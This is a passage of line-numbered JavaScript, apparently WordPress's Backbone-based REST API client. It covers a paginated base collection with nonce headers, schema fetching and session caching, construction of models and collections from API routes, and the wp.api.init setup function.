944
945 model.apiRoot = options.apiRoot || wpApiSettings.root;
946 model.versionString = options.versionString || wpApiSettings.versionString;
947 },
948
949 url: function() {
950 return this.apiRoot + this.versionString;
951 }
952 }
953 );
954})();
955
956( function() {
957
958 'use strict';
959
960 var wpApiSettings = window.wpApiSettings || {};
961
962 /**
963 * Contains basic collection functionality such as pagination.
964 */
965 wp.api.WPApiBaseCollection = Backbone.Collection.extend(
966 /** @lends BaseCollection.prototype */
967 {
968
969 /**
970 * Setup default state.
971 */
972 initialize: function( models, options ) {
973 this.state = {
974 data: {},
975 currentPage: null,
976 totalPages: null,
977 totalObjects: null
978 };
979 if ( _.isUndefined( options ) ) {
980 this.parent = '';
981 } else {
982 this.parent = options.parent;
983 }
984 },
985
986 /**
987 * Extend Backbone.Collection.sync to add nince and pagination support.
988 *
989 * Set nonce header before every Backbone sync.
990 *
991 * @param {string} method.
992 * @param {Backbone.Model} model.
993 * @param {{success}, *} options.
994 * @return {*}.
995 */
996 sync: function( method, model, options ) {
997 var beforeSend, success,
998 self = this;
999
1000 options = options || {};
1001
1002 if ( _.isFunction( model.nonce ) && ! _.isEmpty( model.nonce() ) ) {
1003 beforeSend = options.beforeSend;
1004
1005 // Include the nonce with requests.
1006 options.beforeSend = function( xhr ) {
1007 xhr.setRequestHeader( 'X-WP-Nonce', model.nonce() );
1008
1009 if ( beforeSend ) {
1010 return beforeSend.apply( self, arguments );
1011 }
1012 };
1013
1014 // Update the nonce when a new nonce is returned with the response.
1015 options.complete = function( xhr ) {
1016 var returnedNonce = xhr.getResponseHeader( 'X-WP-Nonce' );
1017
1018 if ( returnedNonce && _.isFunction( model.nonce ) && model.nonce() !== returnedNonce ) {
1019 model.endpointModel.set( 'nonce', returnedNonce );
1020 }
1021 };
1022 }
1023
1024 // When reading, add pagination data.
1025 if ( 'read' === method ) {
1026 if ( options.data ) {
1027 self.state.data = _.clone( options.data );
1028
1029 delete self.state.data.page;
1030 } else {
1031 self.state.data = options.data = {};
1032 }
1033
1034 if ( 'undefined' === typeof options.data.page ) {
1035 self.state.currentPage = null;
1036 self.state.totalPages = null;
1037 self.state.totalObjects = null;
1038 } else {
1039 self.state.currentPage = options.data.page - 1;
1040 }
1041
1042 success = options.success;
1043 options.success = function( data, textStatus, request ) {
1044 if ( ! _.isUndefined( request ) ) {
1045 self.state.totalPages = parseInt( request.getResponseHeader( 'x-wp-totalpages' ), 10 );
1046 self.state.totalObjects = parseInt( request.getResponseHeader( 'x-wp-total' ), 10 );
1047 }
1048
1049 if ( null === self.state.currentPage ) {
1050 self.state.currentPage = 1;
1051 } else {
1052 self.state.currentPage++;
1053 }
1054
1055 if ( success ) {
1056 return success.apply( this, arguments );
1057 }
1058 };
1059 }
1060
1061 // Continue by calling Backbone's sync.
1062 return Backbone.sync( method, model, options );
1063 },
1064
1065 /**
1066 * Fetches the next page of objects if a new page exists.
1067 *
1068 * @param {data: {page}} options.
1069 * @return {*}.
1070 */
1071 more: function( options ) {
1072 options = options || {};
1073 options.data = options.data || {};
1074
1075 _.extend( options.data, this.state.data );
1076
1077 if ( 'undefined' === typeof options.data.page ) {
1078 if ( ! this.hasMore() ) {
1079 return false;
1080 }
1081
1082 if ( null === this.state.currentPage || this.state.currentPage <= 1 ) {
1083 options.data.page = 2;
1084 } else {
1085 options.data.page = this.state.currentPage + 1;
1086 }
1087 }
1088
1089 return this.fetch( options );
1090 },
1091
1092 /**
1093 * Returns true if there are more pages of objects available.
1094 *
1095 * @return {null|boolean}
1096 */
1097 hasMore: function() {
1098 if ( null === this.state.totalPages ||
1099 null === this.state.totalObjects ||
1100 null === this.state.currentPage ) {
1101 return null;
1102 } else {
1103 return ( this.state.currentPage < this.state.totalPages );
1104 }
1105 }
1106 }
1107 );
1108
1109} )();
1110
1111( function() {
1112
1113 'use strict';
1114
1115 var Endpoint, initializedDeferreds = {},
1116 wpApiSettings = window.wpApiSettings || {};
1117
1118 /** @namespace wp */
1119 window.wp = window.wp || {};
1120
1121 /** @namespace wp.api */
1122 wp.api = wp.api || {};
1123
1124 // If wpApiSettings is unavailable, try the default.
1125 if ( _.isEmpty( wpApiSettings ) ) {
1126 wpApiSettings.root = window.location.origin + '/wp-json/';
1127 }
1128
1129 Endpoint = Backbone.Model.extend(/** @lends Endpoint.prototype */{
1130 defaults: {
1131 apiRoot: wpApiSettings.root,
1132 versionString: wp.api.versionString,
1133 nonce: null,
1134 schema: null,
1135 models: {},
1136 collections: {}
1137 },
1138
1139 /**
1140 * Initialize the Endpoint model.
1141 */
1142 initialize: function() {
1143 var model = this, deferred;
1144
1145 Backbone.Model.prototype.initialize.apply( model, arguments );
1146
1147 deferred = jQuery.Deferred();
1148 model.schemaConstructed = deferred.promise();
1149
1150 model.schemaModel = new wp.api.models.Schema( null, {
1151 apiRoot: model.get( 'apiRoot' ),
1152 versionString: model.get( 'versionString' ),
1153 nonce: model.get( 'nonce' )
1154 } );
1155
1156 // When the model loads, resolve the promise.
1157 model.schemaModel.once( 'change', function() {
1158 model.constructFromSchema();
1159 deferred.resolve( model );
1160 } );
1161
1162 if ( model.get( 'schema' ) ) {
1163
1164 // Use schema supplied as model attribute.
1165 model.schemaModel.set( model.schemaModel.parse( model.get( 'schema' ) ) );
1166 } else if (
1167 ! _.isUndefined( sessionStorage ) &&
1168 ( _.isUndefined( wpApiSettings.cacheSchema ) || wpApiSettings.cacheSchema ) &&
1169 sessionStorage.getItem( 'wp-api-schema-model' + model.get( 'apiRoot' ) + model.get( 'versionString' ) )
1170 ) {
1171
1172 // Used a cached copy of the schema model if available.
1173 model.schemaModel.set( model.schemaModel.parse( JSON.parse( sessionStorage.getItem( 'wp-api-schema-model' + model.get( 'apiRoot' ) + model.get( 'versionString' ) ) ) ) );
1174 } else {
1175 model.schemaModel.fetch( {
1176 /**
1177 * When the server returns the schema model data, store the data in a sessionCache so we don't
1178 * have to retrieve it again for this session. Then, construct the models and collections based
1179 * on the schema model data.
1180 *
1181 * @ignore
1182 */
1183 success: function( newSchemaModel ) {
1184
1185 // Store a copy of the schema model in the session cache if available.
1186 if ( ! _.isUndefined( sessionStorage ) && ( _.isUndefined( wpApiSettings.cacheSchema ) || wpApiSettings.cacheSchema ) ) {
1187 try {
1188 sessionStorage.setItem( 'wp-api-schema-model' + model.get( 'apiRoot' ) + model.get( 'versionString' ), JSON.stringify( newSchemaModel ) );
1189 } catch ( error ) {
1190
1191 // Fail silently, fixes errors in safari private mode.
1192 }
1193 }
1194 },
1195
1196 // Log the error condition.
1197 error: function( err ) {
1198 window.console.log( err );
1199 }
1200 } );
1201 }
1202 },
1203
1204 constructFromSchema: function() {
1205 var routeModel = this, modelRoutes, collectionRoutes, schemaRoot, loadingObjects,
1206
1207 /**
1208 * Set up the model and collection name mapping options. As the schema is built, the
1209 * model and collection names will be adjusted if they are found in the mapping object.
1210 *
1211 * Localizing a variable wpApiSettings.mapping will over-ride the default mapping options.
1212 *
1213 */
1214 mapping = wpApiSettings.mapping || {
1215 models: {
1216 'Categories': 'Category',
1217 'Comments': 'Comment',
1218 'Pages': 'Page',
1219 'PagesMeta': 'PageMeta',
1220 'PagesRevisions': 'PageRevision',
1221 'Posts': 'Post',
1222 'PostsCategories': 'PostCategory',
1223 'PostsRevisions': 'PostRevision',
1224 'PostsTags': 'PostTag',
1225 'Schema': 'Schema',
1226 'Statuses': 'Status',
1227 'Tags': 'Tag',
1228 'Taxonomies': 'Taxonomy',
1229 'Types': 'Type',
1230 'Users': 'User'
1231 },
1232 collections: {
1233 'PagesMeta': 'PageMeta',
1234 'PagesRevisions': 'PageRevisions',
1235 'PostsCategories': 'PostCategories',
1236 'PostsMeta': 'PostMeta',
1237 'PostsRevisions': 'PostRevisions',
1238 'PostsTags': 'PostTags'
1239 }
1240 },
1241
1242 modelEndpoints = routeModel.get( 'modelEndpoints' ),
1243 modelRegex = new RegExp( '(?:.*[+)]|\/(' + modelEndpoints.join( '|' ) + '))$' );
1244
1245 /**
1246 * Iterate thru the routes, picking up models and collections to build. Builds two arrays,
1247 * one for models and one for collections.
1248 */
1249 modelRoutes = [];
1250 collectionRoutes = [];
1251 schemaRoot = routeModel.get( 'apiRoot' ).replace( wp.api.utils.getRootUrl(), '' );
1252 loadingObjects = {};
1253
1254 /**
1255 * Tracking objects for models and collections.
1256 */
1257 loadingObjects.models = {};
1258 loadingObjects.collections = {};
1259
1260 _.each( routeModel.schemaModel.get( 'routes' ), function( route, index ) {
1261
1262 // Skip the schema root if included in the schema.
1263 if ( index !== routeModel.get( ' versionString' ) &&
1264 index !== schemaRoot &&
1265 index !== ( '/' + routeModel.get( 'versionString' ).slice( 0, -1 ) )
1266 ) {
1267
1268 // Single items end with a regex, or a special case word.
1269 if ( modelRegex.test( index ) ) {
1270 modelRoutes.push( { index: index, route: route } );
1271 } else {
1272
1273 // Collections end in a name.
1274 collectionRoutes.push( { index: index, route: route } );
1275 }
1276 }
1277 } );
1278
1279 /**
1280 * Construct the models.
1281 *
1282 * Base the class name on the route endpoint.
1283 */
1284 _.each( modelRoutes, function( modelRoute ) {
1285
1286 // Extract the name and any parent from the route.
1287 var modelClassName,
1288 routeName = wp.api.utils.extractRoutePart( modelRoute.index, 2, routeModel.get( 'versionString' ), true ),
1289 parentName = wp.api.utils.extractRoutePart( modelRoute.index, 1, routeModel.get( 'versionString' ), false ),
1290 routeEnd = wp.api.utils.extractRoutePart( modelRoute.index, 1, routeModel.get( 'versionString' ), true );
1291
1292 // Clear the parent part of the rouite if its actually the version string.
1293 if ( parentName === routeModel.get( 'versionString' ) ) {
1294 parentName = '';
1295 }
1296
1297 // Handle the special case of the 'me' route.
1298 if ( 'me' === routeEnd ) {
1299 routeName = 'me';
1300 }
1301
1302 // If the model has a parent in its route, add that to its class name.
1303 if ( '' !== parentName && parentName !== routeName ) {
1304 modelClassName = wp.api.utils.capitalizeAndCamelCaseDashes( parentName ) + wp.api.utils.capitalizeAndCamelCaseDashes( routeName );
1305 modelClassName = mapping.models[ modelClassName ] || modelClassName;
1306 loadingObjects.models[ modelClassName ] = wp.api.WPApiBaseModel.extend( {
1307
1308 // Return a constructed url based on the parent and id.
1309 url: function() {
1310 var url =
1311 routeModel.get( 'apiRoot' ) +
1312 routeModel.get( 'versionString' ) +
1313 parentName + '/' +
1314 ( ( _.isUndefined( this.get( 'parent' ) ) || 0 === this.get( 'parent' ) ) ?
1315 ( _.isUndefined( this.get( 'parent_post' ) ) ? '' : this.get( 'parent_post' ) + '/' ) :
1316 this.get( 'parent' ) + '/' ) +
1317 routeName;
1318
1319 if ( ! _.isUndefined( this.get( 'id' ) ) ) {
1320 url += '/' + this.get( 'id' );
1321 }
1322 return url;
1323 },
1324
1325 // Track nonces on the Endpoint 'routeModel'.
1326 nonce: function() {
1327 return routeModel.get( 'nonce' );
1328 },
1329
1330 endpointModel: routeModel,
1331
1332 // Include a reference to the original route object.
1333 route: modelRoute,
1334
1335 // Include a reference to the original class name.
1336 name: modelClassName,
1337
1338 // Include the array of route methods for easy reference.
1339 methods: modelRoute.route.methods,
1340
1341 // Include the array of route endpoints for easy reference.
1342 endpoints: modelRoute.route.endpoints
1343 } );
1344 } else {
1345
1346 // This is a model without a parent in its route.
1347 modelClassName = wp.api.utils.capitalizeAndCamelCaseDashes( routeName );
1348 modelClassName = mapping.models[ modelClassName ] || modelClassName;
1349 loadingObjects.models[ modelClassName ] = wp.api.WPApiBaseModel.extend( {
1350
1351 // Function that returns a constructed url based on the ID.
1352 url: function() {
1353 var url = routeModel.get( 'apiRoot' ) +
1354 routeModel.get( 'versionString' ) +
1355 ( ( 'me' === routeName ) ? 'users/me' : routeName );
1356
1357 if ( ! _.isUndefined( this.get( 'id' ) ) ) {
1358 url += '/' + this.get( 'id' );
1359 }
1360 return url;
1361 },
1362
1363 // Track nonces at the Endpoint level.
1364 nonce: function() {
1365 return routeModel.get( 'nonce' );
1366 },
1367
1368 endpointModel: routeModel,
1369
1370 // Include a reference to the original route object.
1371 route: modelRoute,
1372
1373 // Include a reference to the original class name.
1374 name: modelClassName,
1375
1376 // Include the array of route methods for easy reference.
1377 methods: modelRoute.route.methods,
1378
1379 // Include the array of route endpoints for easy reference.
1380 endpoints: modelRoute.route.endpoints
1381 } );
1382 }
1383
1384 // Add defaults to the new model, pulled form the endpoint.
1385 wp.api.utils.decorateFromRoute(
1386 modelRoute.route.endpoints,
1387 loadingObjects.models[ modelClassName ],
1388 routeModel.get( 'versionString' )
1389 );
1390
1391 } );
1392
1393 /**
1394 * Construct the collections.
1395 *
1396 * Base the class name on the route endpoint.
1397 */
1398 _.each( collectionRoutes, function( collectionRoute ) {
1399
1400 // Extract the name and any parent from the route.
1401 var collectionClassName, modelClassName,
1402 routeName = collectionRoute.index.slice( collectionRoute.index.lastIndexOf( '/' ) + 1 ),
1403 parentName = wp.api.utils.extractRoutePart( collectionRoute.index, 1, routeModel.get( 'versionString' ), false );
1404
1405 // If the collection has a parent in its route, add that to its class name.
1406 if ( '' !== parentName && parentName !== routeName && routeModel.get( 'versionString' ) !== parentName ) {
1407
1408 collectionClassName = wp.api.utils.capitalizeAndCamelCaseDashes( parentName ) + wp.api.utils.capitalizeAndCamelCaseDashes( routeName );
1409 modelClassName = mapping.models[ collectionClassName ] || collectionClassName;
1410 collectionClassName = mapping.collections[ collectionClassName ] || collectionClassName;
1411 loadingObjects.collections[ collectionClassName ] = wp.api.WPApiBaseCollection.extend( {
1412
1413 // Function that returns a constructed url passed on the parent.
1414 url: function() {
1415 return routeModel.get( 'apiRoot' ) + routeModel.get( 'versionString' ) +
1416 parentName + '/' +
1417 ( ( _.isUndefined( this.parent ) || '' === this.parent ) ?
1418 ( _.isUndefined( this.get( 'parent_post' ) ) ? '' : this.get( 'parent_post' ) + '/' ) :
1419 this.parent + '/' ) +
1420 routeName;
1421 },
1422
1423 // Specify the model that this collection contains.
1424 model: function( attrs, options ) {
1425 return new loadingObjects.models[ modelClassName ]( attrs, options );
1426 },
1427
1428 // Track nonces at the Endpoint level.
1429 nonce: function() {
1430 return routeModel.get( 'nonce' );
1431 },
1432
1433 endpointModel: routeModel,
1434
1435 // Include a reference to the original class name.
1436 name: collectionClassName,
1437
1438 // Include a reference to the original route object.
1439 route: collectionRoute,
1440
1441 // Include the array of route methods for easy reference.
1442 methods: collectionRoute.route.methods
1443 } );
1444 } else {
1445
1446 // This is a collection without a parent in its route.
1447 collectionClassName = wp.api.utils.capitalizeAndCamelCaseDashes( routeName );
1448 modelClassName = mapping.models[ collectionClassName ] || collectionClassName;
1449 collectionClassName = mapping.collections[ collectionClassName ] || collectionClassName;
1450 loadingObjects.collections[ collectionClassName ] = wp.api.WPApiBaseCollection.extend( {
1451
1452 // For the url of a root level collection, use a string.
1453 url: function() {
1454 return routeModel.get( 'apiRoot' ) + routeModel.get( 'versionString' ) + routeName;
1455 },
1456
1457 // Specify the model that this collection contains.
1458 model: function( attrs, options ) {
1459 return new loadingObjects.models[ modelClassName ]( attrs, options );
1460 },
1461
1462 // Track nonces at the Endpoint level.
1463 nonce: function() {
1464 return routeModel.get( 'nonce' );
1465 },
1466
1467 endpointModel: routeModel,
1468
1469 // Include a reference to the original class name.
1470 name: collectionClassName,
1471
1472 // Include a reference to the original route object.
1473 route: collectionRoute,
1474
1475 // Include the array of route methods for easy reference.
1476 methods: collectionRoute.route.methods
1477 } );
1478 }
1479
1480 // Add defaults to the new model, pulled form the endpoint.
1481 wp.api.utils.decorateFromRoute( collectionRoute.route.endpoints, loadingObjects.collections[ collectionClassName ] );
1482 } );
1483
1484 // Add mixins and helpers for each of the models.
1485 _.each( loadingObjects.models, function( model, index ) {
1486 loadingObjects.models[ index ] = wp.api.utils.addMixinsAndHelpers( model, index, loadingObjects );
1487 } );
1488
1489 // Set the routeModel models and collections.
1490 routeModel.set( 'models', loadingObjects.models );
1491 routeModel.set( 'collections', loadingObjects.collections );
1492
1493 }
1494
1495 } );
1496
1497 wp.api.endpoints = new Backbone.Collection();
1498
1499 /**
1500 * Initialize the wp-api, optionally passing the API root.
1501 *
1502 * @param {Object} [args]
1503 * @param {string} [args.nonce] The nonce. Optional, defaults to wpApiSettings.nonce.
1504 * @param {string} [args.apiRoot] The api root. Optional, defaults to wpApiSettings.root.
1505 * @param {string} [args.versionString] The version string. Optional, defaults to wpApiSettings.root.
1506 * @param {Object} [args.schema] The schema. Optional, will be fetched from API if not provided.
1507 */
1508 wp.api.init = function( args ) {
1509 var endpoint, attributes = {}, deferred, promise;
1510
1511 args = args || {};
1512 attributes.nonce = _.isString( args.nonce ) ? args.nonce : ( wpApiSettings.nonce || '' );
1513 attributes.apiRoot = args.apiRoot || wpApiSettings.root || '/wp-json';
1514 attributes.versionString = args.versionString || wpApiSettings.versionString || 'wp/v2/';
1515 attributes.schema = args.schema || null;
1516 attributes.modelEndpoints = args.modelEndpoints || [ 'me', 'settings' ];
1517 if ( ! attributes.schema && attributes.apiRoot === wpApiSettings.root && attributes.versionString === wpApiSettings.versionString ) {
1518 attributes.schema = wpApiSettings.schema;
1519 }
1520
1521 if ( ! initializedDeferreds[ attributes.apiRoot + attributes.versionString ] ) {
1522
1523 // Look for an existing copy of this endpoint.
1524 endpoint = wp.api.endpoints.findWhere( { 'apiRoot': attributes.apiRoot, 'versionString': attributes.versionString } );
1525 if ( ! endpoint ) {
1526 endpoint = new Endpoint( attributes );
1527 }
1528 deferred = jQuery.Deferred();
1529 promise = deferred.promise();
1530
1531 endpoint.schemaConstructed.done( function( resolvedEndpoint ) {
1532 wp.api.endpoints.add( resolvedEndpoint );
1533
1534 // Map the default endpoints, extending any already present items (including Schema model).
1535 wp.api.models = _.extend( wp.api.models, resolvedEndpoint.get( 'models' ) );
1536 wp.api.collections = _.extend( wp.api.collections, resolvedEndpoint.get( 'collections' ) );
1537 deferred.resolve( resolvedEndpoint );
1538 } );
1539 initializedDeferreds[ attributes.apiRoot + attributes.versionString ] = promise;
1540 }
1541 return initializedDeferreds[ attributes.apiRoot + attributes.versionString ];
1542 };
1543
1544 /**
1545 * Construct the default endpoints and add to an endpoints collection.
1546 */
1547
1548 // The wp.api.init function returns a promise that will resolve with the endpoint once it is ready.
1549 wp.api.loadPromise = wp.api.init();
1550
1551} )();
1552